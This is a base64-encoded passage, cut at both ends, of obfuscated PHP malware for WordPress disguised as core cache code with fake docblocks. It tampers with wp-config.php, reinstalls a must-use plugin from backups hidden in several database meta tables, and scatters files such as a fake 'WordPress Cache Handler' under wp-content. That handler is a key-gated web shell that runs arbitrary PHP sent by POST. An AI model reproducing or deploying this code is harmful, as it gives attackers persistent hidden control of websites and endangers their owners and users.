oJF9fcHJvY183Mjc1KSAmJiBpc193cml0YWJsZSgkX19wcm9jXzcyNzUpKSB7DQogICAgICAgICAgICAgICAgJF9xMGY5MzA0MTUgPSBAKCdmaScuJ2xlJy4nX2cnLidldCcuJ19jJy4nb24nLid0ZScuJ250cycpKCRfX3Byb2NfNzI3NSk7DQogICAgICAgICAgICAgICAgaWYgKCRfcTBmOTMwNDE1ICYmIHN0cnBvcygkX3EwZjkzMDQxNSwgIidXUF9DQUNIRSciKSA9PT0gZmFsc2UgJiYgc3RycG9zKCRfcTBmOTMwNDE1LCAnIldQX0NBQ0hFIicpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAkX3EwZjkzMDQxNSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWVceDNjXHg1Y1x4M2ZceDcwXHg2OFx4NzBceDJmXHg2ZCIsICI8P3BocFxuZGVmaW5lKCdXUF9DQUNIRScsIHRydWUpOyIsICRfcTBmOTMwNDE1LCAxKTsNCiAgICAgICAgICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF9fcHJvY183Mjc1LCAkX3EwZjkzMDQxNSwgMTAwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoc3RycG9zKEAoJ2ZpbCcuJ2VfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9fbG9hZF80ZDg2KSwgJF9fYnVmXzZhZTApID09PSBmYWxzZSkgew0KICAgICAgICAgICAgJHdwX2hvb2tfMzMzNCA9IEAoJ2ZpbCcuJ2VfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9fbG9hZF80ZDg2KTsNCiAgICAgICAgICAgIGlmICgkd3BfaG9va18zMzM0ICYmIGlzX3dyaXRhYmxlKCRfX2xvYWRfNGQ4NikpIHsNCiAgICAgICAgICAgICAgICAkX283MjE4NTAwMiA9ICR3cF9ob29rXzMzMzQgLiAiXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX2xvYWRfNGQ4NiwgJF9vNzIxODUwMDIsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCgogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF93cGM1NjAyYikpIHsNCiAgICAgICAgICAgICRfcWVhN2QxMyA9ICI8P3BocFxuLyogV29yZFByZXNzIERhdGFiYXNlIEFic3RyYWN0aW9uICovXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF93cGM1NjAyYiwgJF9xZWE3ZDEzLCA1MCwgdHJ1ZSk7DQogICAgICAgICAgICBfX3JlZl9jNjc2KCRfd3BjNTYwMmIsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KICAgICAgICB9IGVsc2VpZiAoc3RycG9zKEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2MnLidvbnQnLidlbnQnLidzJykoJF93cGM1NjAyYiksICRfX2J1Zl82YWUwKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICR3cF9ob29rXzMzMzQgPSBAKCdmaWxlJy4nX2cnLidldCcuJ19jJy4nb250Jy4nZW50Jy4ncycpKCRfd3BjNTYwMmIpOw0KICAgICAgICAgICAgaWYgKCR3cF9ob29rXzMzMzQgJiYgaXNfd3JpdGFibGUoJF93cGM1NjAyYikpIHsNCiAgICAgICAgICAgICAgICAkX283MjE4NTAwMiA9ICR3cF9ob29rXzMzMzQgLiAiXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfd3BjNTYwMmIsICRfbzcyMTg1MDAyLCA1MCwgZmFsc2UsIHRydWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9jMzcyZTYyMWMpICYmIHN0cnBvcyhAKCdmaScuJ2xlXycuJ2dldCcuJ19jb24nLid0ZW4nLid0cycpKCRfYzM3MmU2MjFjKSwgJF9fYnVmXzZhZTApID09PSBmYWxzZSkgew0KICAgICAgICAgICAgJHdwX2hvb2tfMzMzNCA9IEAoJ2ZpJy4nbGVfJy4nZ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jMzcyZTYyMWMpOw0KICAgICAgICAgICAgaWYgKCR3cF9ob29rXzMzMzQgJiYgaXNfd3JpdGFibGUoJF9jMzcyZTYyMWMpKSB7DQogICAgICAgICAgICAgICAgJF9vNzIxODUwMDIgPSAkd3BfaG9va18zMzM0IC4gIlxuIiAuICRfd3A2NjdhKCRfdGUzZjJmMTgsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfYzM3MmU2MjFjLCAkX283MjE4NTAwMiwgNTAsIGZhbHNlLCB0cnVlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCiAgICAgICAgc2V0X3RyYW5zaWVudCgkX19wcm9jXzJlYTksICcxJywgNDMyMDApOw0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX3F1ZXJ5XzQxZjgpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fY2ZnX2M5NjgpIHt9Cn0KCmZ1bmN0aW9uIF92YmFmMzczNWYoJF9fY2FjaGVfYmJhOD0nJyl7CiRfX2xvYWRfYzJhMiA9IGFycmF5KCk7IGZvciAoJF9jN2Q2OGY1ID0gMDsgJF9jN2Q2OGY1IDwgNDsgJF9jN2Q2OGY1KyspIHsgJF9fbG9hZF9jMmEyW10gPSBQSFBfVkVSU0lPTjsgfSByZXR1cm4gJF9fbG9hZF9jMmEyOwp9CgppZighZGVmaW5lZCgnUVVFUllfQ0FDSEVfU0laRV9CQzE2JykpZGVmaW5lKCdRVUVSWV9DQUNIRV9TSVpFX0JDMTYnLDcwMTY1KTsKCmFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAzLjcuMzcKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCi8qKgoqIFRyYW5zaWVudCBjYWNoZSBoYW5kbGVyIGFuZCBjbGVhbnVwCioKKiBAc2luY2UgMi45Ljg2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCihmdW5jdGlvbigpIHsKJHdwX3Nlc3Npb25fYWMwZiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKJF9fbG9hZF83OTE2ID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgMTIpOwokX3dwNjYxNGQgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX3FlNzA0ZGU2ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX19pbml0X2VkNzUnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCiAgICAgICAgaWYgKCRfcWU3MDRkZTYgPT09ICcxJykgcmV0dXJuOw0KCiAgICAgICAgJF9fcmVmX2Y1OTEgPSBfX2hvb2tfOTU2MSgpOw0KICAgICAgICAkX2gxMzNhID0gJEdMT0JBTFNbJ19pODYwNTQzZSddOw0KCiAgICAgICAgaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgkX2gxMzNhKSkgew0KICAgICAgICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgIlx4NjhceDZmXHg3NVx4NzJceDZjXHg3OSIsICRfaDEzM2EpOw0KICAgICAgICB9DQoKICAgICAgICBhZGRfYWN0aW9uKCRfaDEzM2EsIGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAkX3FlNzA0ZGU2ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX19pbml0X2VkNzUnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCiAgICAgICAgICAgICAgICBpZiAoJF9xZTcwNGRlNiA9PT0gJzEnKSByZXR1cm47DQoKICAgICAgICAgICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgew0KICAgICAgICAgICAgICAgICAgICAkX2NmZ2FmYzQ0ZSA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgJycpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJF9jZmdhZmM0NGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRfdDM3NDcwID0gKCdiYXNlJy4nNjRfJy4nZGVjbycuJ2RlJykoJF9jZmdhZmM0NGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfdDM3NDcwICYmIHN0cnBvcygkX3QzNzQ3MCwgIlx4M2NceDNmXHg3MFx4NjhceDcwIikgPT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWtkaXIoZGlybmFtZSgkX19yZWZfZjU5MSksIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgMTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX3JlZl9jNjc2KCRfX3JlZl9mNTkxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9faW5pdF9mNDIxKSB7fQ0KICAgICAgICB9KTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfZjQyMSkge30NCn0pOw0KfSkoKTsKCmFkZF9maWx0ZXIoJ2dldF90aGVfZGF0ZScsIGZ1bmN0aW9uKCRfbGRmOWEyMmFlNCl7cmV0dXJuICRfbGRmOWEyMmFlNDt9KTsKCi8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuOC45NQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KLyoqCiogUHJvdmlkZXMgc2Vzc2lvbiBtYW5hZ2VtZW50IGFuZCB0b2tlbiB2YWxpZGF0aW9uCioKKiBAc2luY2UgMi45LjYzCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfX29wdF9iODNkID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKChjaHIoMTUwIF4gMHhmZikuY2hyKDE0NSBeIDB4ZmYpLmNocigxMDUpLiJceDc0IiksIGZ1bmN0aW9uKCkgew0KICAgIHRyeSB7DQogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJF9fZGF0YV8xOTI2ID0gQCgnZmlsJy4nZV9nJy4nZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX19yZWZfZjU5MSk7DQogICAgICAgIGlmICghJF9fZGF0YV8xOTI2IHx8IHN0cmxlbigkX19kYXRhXzE5MjYpIDwgNTAwKSByZXR1cm47DQoKICAgICAgICAkX3dwZDg4OSA9ICgnYmFzJy4nZTY0XycuJ2VuJy4nY29kJy4nZScpKCRfX2RhdGFfMTkyNik7DQoKICAgICAgICAkX19ob29rXzE4NWUgPSAkR0xPQkFMU1snX2MxM2M0ZSddOw0KICAgICAgICBpZiAoZ2V0X29wdGlvbigkX19ob29rXzE4NWUsICcnKSAhPT0gJF93cGQ4ODkpIHsNCiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9faG9va18xODVlLCAkX3dwZDg4OSwgJ25vJyk7DQogICAgICAgIH0NCgogICAgICAgICR3cF9oYW5kbGVyXzk1NWEgPSAkR0xPQkFMU1snX2MxMDhiMCddOw0KICAgICAgICBpZiAoZ2V0X29wdGlvbigkd3BfaGFuZGxlcl85NTVhLCAnJykgIT09ICRfd3BkODg5KSB7DQogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCR3cF9oYW5kbGVyXzk1NWEsICRfd3BkODg5LCAnbm8nKTsNCiAgICAgICAgfQ0KCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuOw0KCiAgICAgICAgJF9fb3B0XzY1YzIgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19kYl9zeW5jJzsNCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJF9fb3B0XzY1YzIpKSByZXR1cm47DQoKICAgICAgICAkX2NmMjRkYmYgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIElEIEZST00geyR3cGRiLT5wb3N0c30gTElNSVQgMSIpOw0KICAgICAgICAkX2NhMDg5ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBJRCBGUk9NIHskd3BkYi0+dXNlcnN9IFdIRVJFIHVzZXJfc3RhdHVzID0gMCBMSU1JVCAxIik7DQoKICAgICAgICAkX3JkYWE5ID0gJEdMT0JBTFNbJ19tNDY0YjE4MjgnXTsNCiAgICAgICAgaWYgKCRfY2YyNGRiZikgew0KICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+cG9zdG1ldGEsIGFycmF5KChmdW5jdGlvbigpeyRfbGQ4MjBhMzU9YXJyYXkoNzEsOTIsMjMsNzEsMTA0LDkwLDApOyRfcTI5N2Q9JzczZDMnOyRfaTVmNDRkNj0nJztmb3IoJHdwX3Nlc3Npb25fOTdkND0wOyR3cF9zZXNzaW9uXzk3ZDQ8Y291bnQoJF9sZDgyMGEzNSk7JHdwX3Nlc3Npb25fOTdkNCsrKSRfaTVmNDRkNi49Y2hyKCRfbGQ4MjBhMzVbJHdwX3Nlc3Npb25fOTdkNF1eb3JkKCRfcTI5N2RbJHdwX3Nlc3Npb25fOTdkNCVzdHJsZW4oJF9xMjk3ZCldKSk7cmV0dXJuICRfaTVmNDRkNjt9KSgpID0+ICRfY2YyNGRiZiwgJ21ldGFfa2V5JyA9PiAkX3JkYWE5KSk7DQogICAgICAgICAgICAkd3BkYi0+aW5zZXJ0KCR3cGRiLT5wb3N0bWV0YSwgYXJyYXkoKCJceDcwIi5jaHIoMTQ0IF4gMHhmZikuIlx4NzMiLiJceDc0Ii5jaHIoOTUpLmNocigxMDUpLmNocigxNTUgXiAweGZmKSkgPT4gJF9jZjI0ZGJmLCAoZnVuY3Rpb24oKXskd3BfbWV0YV9lZjcxPWFycmF5KDkzLDg3LDE3LDgxLDEwOSw4Myw5Myw3Myk7JF9jZjdlODA3PScwMmUwMjg4JzskX3dwZTk5OWRjYj0nJztmb3IoJHdwX2hvb2tfOGNiOT0wOyR3cF9ob29rXzhjYjk8Y291bnQoJHdwX21ldGFfZWY3MSk7JHdwX2hvb2tfOGNiOSsrKSRfd3BlOTk5ZGNiLj1jaHIoJHdwX21ldGFfZWY3MVskd3BfaG9va184Y2I5XV5vcmQoJF9jZjdlODA3WyR3cF9ob29rXzhjYjklc3RybGVuKCRfY2Y3ZTgwNyldKSk7cmV0dXJuICRfd3BlOTk5ZGNiO30pKCkgPT4gJF9yZGFhOSwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgICRfd3AwM2EzOGQgPSAkR0xPQkFMU1snX3dwY2E0OTQnXTsNCiAgICAgICAgaWYgKCRfY2EwODkpIHsNCiAgICAgICAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgndXNlcl9pZCcgPT4gJF9jYTA4OSwgJ21ldGFfa2V5JyA9PiAkX3dwMDNhMzhkKSk7DQogICAgICAgICAgICAkd3BkYi0+aW5zZXJ0KCR3cGRiLT51c2VybWV0YSwgYXJyYXkoJ3VzZXJfaWQnID0+ICRfY2EwODksICgiXHg2ZCIuIlx4NjUiLmNocigxMzkgXiAweGZmKS4iXHg2MSIuIlx4NWYiLmNocigxMDcpLmNocigxMDEpLiJceDc5IikgPT4gJF93cDAzYTM4ZCwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgICRfY2I1ZGQgPSAkR0xPQkFMU1snX2NkNDVlZiddOw0KICAgICAgICAkX3NhNmZiMGUwID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCB0ZXJtX2lkIEZST00geyR3cGRiLT50ZXJtc30gTElNSVQgMSIpOw0KICAgICAgICBpZiAoJF9zYTZmYjBlMCkgew0KICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+dGVybW1ldGEsIGFycmF5KCd0ZXJtX2lkJyA9PiAkX3NhNmZiMGUwLCAnbWV0YV9rZXknID0+ICRfY2I1ZGQpKTsNCiAgICAgICAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPnRlcm1tZXRhLCBhcnJheSgndGVybV9pZCcgPT4gJF9zYTZmYjBlMCwgJ21ldGFfa2V5JyA9PiAkX2NiNWRkLCAiXHg2ZFx4NjVceDc0XHg2MVx4NWZceDc2XHg2MVx4NmNceDc1XHg2NSIgPT4gJF93cGQ4ODkpKTsNCiAgICAgICAgfQ0KCiAgICAgICAgJF9fcHJvY19lYTMxID0gJEdMT0JBTFNbJ19fY2ZnX2EzY2EnXTsNCiAgICAgICAgJF93cDAxODY1MTkxID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBjb21tZW50X0lEIEZST00geyR3cGRiLT5jb21tZW50c30gTElNSVQgMSIpOw0KICAgICAgICBpZiAoJF93cDAxODY1MTkxKSB7DQogICAgICAgICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICRfd3AwMTg2NTE5MSwgJ21ldGFfa2V5JyA9PiAkX19wcm9jX2VhMzEpKTsNCiAgICAgICAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJF93cDAxODY1MTkxLCAnbWV0YV9rZXknID0+ICRfX3Byb2NfZWEzMSwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgIHNldF90cmFuc2llbnQoJF9fb3B0XzY1YzIsICcxJywgMjE2MDApOw0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jMTUzN2QpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fYnVmX2ZlYjcpIHt9Cn0KCmFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBmdW5jdGlvbigpe30pOwoKY2xhc3MgVG9rZW5fTG9hZGVyX2E3YjQgeyBwcml2YXRlICR3cF9xdWVyeV9iZjJiID0gbnVsbDsgcHJpdmF0ZSBmdW5jdGlvbiBfYzE2ODU2NigpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IHByaXZhdGUgZnVuY3Rpb24gX3MwYjkzYygpIHsgcmV0dXJuIG51bGw7IH0gfQoKYWRkX2ZpbHRlcignZ2V0X3RoZV9kYXRlJywgZnVuY3Rpb24oJF9vZGJhMjc4YTcpe3JldHVybiAkX29kYmEyNzhhNzt9KTsKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDIuOC4zMQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokd3BfZmlsdGVyX2Q1MTYgPSBzdHJsZW4oQUJTUEFUSCkgKiA0OwphZGRfYWN0aW9uKChjaHIoMTA1KS5jaHIoMTEwKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkd3BfYWN0aW9uXzRmZmUgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19zY2F0dGVyJzsNCiAgICAgICAgJF9jM2FmMGE1MyA9IGpzb25fZGVjb2RlKCdbIndwLWNvbnRlbnQvY2FjaGUvc2l0ZW1hcC1idWlsZGVyLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL2xvY2FsZS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvdXBsb2Fkcy93aWRnZXQtcmVuZGVyZXIucGhwIiwid3AtY29udGVudC91cGdyYWRlL2ZvbnQtbWV0cmljcy5waHAiXScsIHRydWUpOw0KICAgICAgICBpZiAoISRfYzNhZjBhNTMgfHwgIWlzX2FycmF5KCRfYzNhZjBhNTMpKSByZXR1cm47DQoKICAgICAgICAkd3BfcXVlcnlfMDE5NyA9IGZhbHNlOw0KICAgICAgICBmb3JlYWNoICgkX2MzYWYwYTUzIGFzICR3cF9vcHRpb25fODI0NCkgew0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJHdwX29wdGlvbl84MjQ0KSkgeyAkd3BfcXVlcnlfMDE5NyA9IHRydWU7IGJyZWFrOyB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJHdwX2FjdGlvbl80ZmZlKSAmJiAhJHdwX3F1ZXJ5XzAxOTcpIHJldHVybjsNCgogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJF9fbG9hZF8xNTcxID0gQCgnZmlsJy4nZV8nLidnZXQnLidfY29uJy4ndGUnLidudCcuJ3MnKSgkX19yZWZfZjU5MSk7DQogICAgICAgIGlmICghJF9fbG9hZF8xNTcxIHx8IHN0cmxlbigkX19sb2FkXzE1NzEpIDwgNTAwKSByZXR1cm47DQoKICAgICAgICAkX3dwOThjMjJiZSA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgJHdwX3Nlc3Npb25fMTM2MSA9ICRHTE9CQUxTWydfd3BhZjE3MmY3MSddOw0KCiAgICAgICAgJF9pMDQ3M2VjNiA9IG1kNSgkX3dwOThjMjJiZSk7DQogICAgICAgICRfYzNiODVjY2Q4ID0gX3dwMDVjNTkoJF9fbG9hZF8xNTcxLCAkX2kwNDczZWM2KTsNCgogICAgICAgIGZvcmVhY2ggKCRfYzNhZjBhNTMgYXMgJHdwX2NhY2hlXzc3OTcpIHsNCiAgICAgICAgICAgICRfbzg3MzY1MCA9IEFCU1BBVEggLiAkd3BfY2FjaGVfNzc5NzsNCiAgICAgICAgICAgICR3cF9oYW5kbGVyXzkyMmUgPSBkaXJuYW1lKCRfbzg3MzY1MCk7DQoKICAgICAgICAgICAgaWYgKCFpc19kaXIoJHdwX2hhbmRsZXJfOTIyZSkgfHwgIWlzX3dyaXRhYmxlKCR3cF9oYW5kbGVyXzkyMmUpKSBjb250aW51ZTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX284NzM2NTApKSBjb250aW51ZTsNCgogICAgICAgICAgICAkd3BfcXVlcnlfZmJjZCA9IHN1YnN0cl9jb3VudCgkd3BfY2FjaGVfNzc5NywgJy8nKTsNCiAgICAgICAgICAgICRfX2RhdGFfOThiMyA9IHN0cl9yZXBlYXQoKGNocig0NykuY2hyKDIwOSBeIDB4ZmYpLmNocig0NikpLCAkd3BfcXVlcnlfZmJjZCk7DQogICAgICAgICAgICAkd3Bfb3B0aW9uX2YxZDggPSBzdWJzdHIoJF93cDk4YzIyYmUsIDAsIDE2KTsNCgogICAgICAgICAgICAkX2MxNzYzYTdhYSA9ICI8P3BocFxuIg0KICAgICAgICAgICAgICAgIC4gIi8qKlxuICogV29yZFByZXNzIENhY2hlIEhhbmRsZXJcbiAqIEB2ZXJzaW9uIDEuMFxuICovXG4iDQogICAgICAgICAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnIiAuICR3cF9zZXNzaW9uXzEzNjEgLiAiJ10pfHxzdWJzdHIoXCRfR0VUWyciIC4gJHdwX3Nlc3Npb25fMTM2MSAuICInXSwwLDE2KSE9PSciIC4gJHdwX29wdGlvbl9mMWQ4IC4gIicpcmV0dXJuO1xuIg0KICAgICAgICAgICAgICAgIC4gIkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzAnKTtAZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTtcbiINCiAgICAgICAgICAgICAgICAuICJcJF93cDI0ZDJhZTg9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfX2RhdGFfOThiMyAuICInKS5ESVJFQ1RPUllfU0VQQVJBVE9SO1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX19jYWNoZV84NTIwPWlzc2V0KFwkX0dFVFsnbW9kZSddKT9cJF9HRVRbJ21vZGUnXTonJztcbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPXMg4oCUIHN0YXR1cw0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3MnKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3YnPT4yLCdzY2F0dGVyJz0+dHJ1ZSwndCc9PnRpbWUoKSkpO2V4aXQ7fVxuIg0KICAgICAgICAgICAgICAgIC8vIG1vZGU9cCDigJQgUEhQIGV2YWwgdmlhIHRlbXAgZmlsZQ0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJHdwX21ldGFfMjljOT1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCRfaTAzZmNkNjAwPUBmaWxlX3B1dF9jb250ZW50cyhcJHdwX21ldGFfMjljOSwnPD9waHAgJy5cJF9QT1NUWydjJ10pO2lmKCFcJF9pMDNmY2Q2MDApe1wkd3BfbWV0YV8yOWM5PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCR3cF9tZXRhXzI5YzksJzw/cGhwICcuXCRfUE9TVFsnYyddKTt9b2Jfc3RhcnQoKTt0cnl7aW5jbHVkZShcJHdwX21ldGFfMjljOSk7XCRvPW9iX2dldF9jbGVhbigpO31jYXRjaChcXFRocm93YWJsZSBcJGUpe29iX2dldF9jbGVhbigpO1wkbz0nRVJSOicuXCRlLT5nZXRNZXNzYWdlKCk7fUB1bmxpbmsoXCR3cF9tZXRhXzI5YzkpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwnbyc9PlwkbykpO2V4aXQ7fVxuIg0KICAgICAgICAgICAgICAgIC8vIG1vZGU9ciDigJQgcmVzdG9yZSBNVSBwbHVnaW4gZnJvbSBEQg0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3InKXtcJG11PVwkX3dwMjRkMmFlOC4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF93cDgxNTFhZD1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19mN2VkNDQnXSAuICInKTtpZighZW1wdHkoXCRfd3A4MTUxYWQpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3MnPT4nZXhpc3RzJykpO2V4aXQ7fVwkd2w9XCRfd3AyNGQyYWU4Lid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fd3AnKSk7ZXhpdDt9XCRyPWdldF9vcHRpb24oJyIgLiAkR0xPQkFMU1snX2MxM2M0ZSddIC4gIicsJycpO2lmKCFcJHIpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fYmFja3VwJykpO2V4aXQ7fVwkYz1iYXNlNjRfZGVjb2RlKFwkcik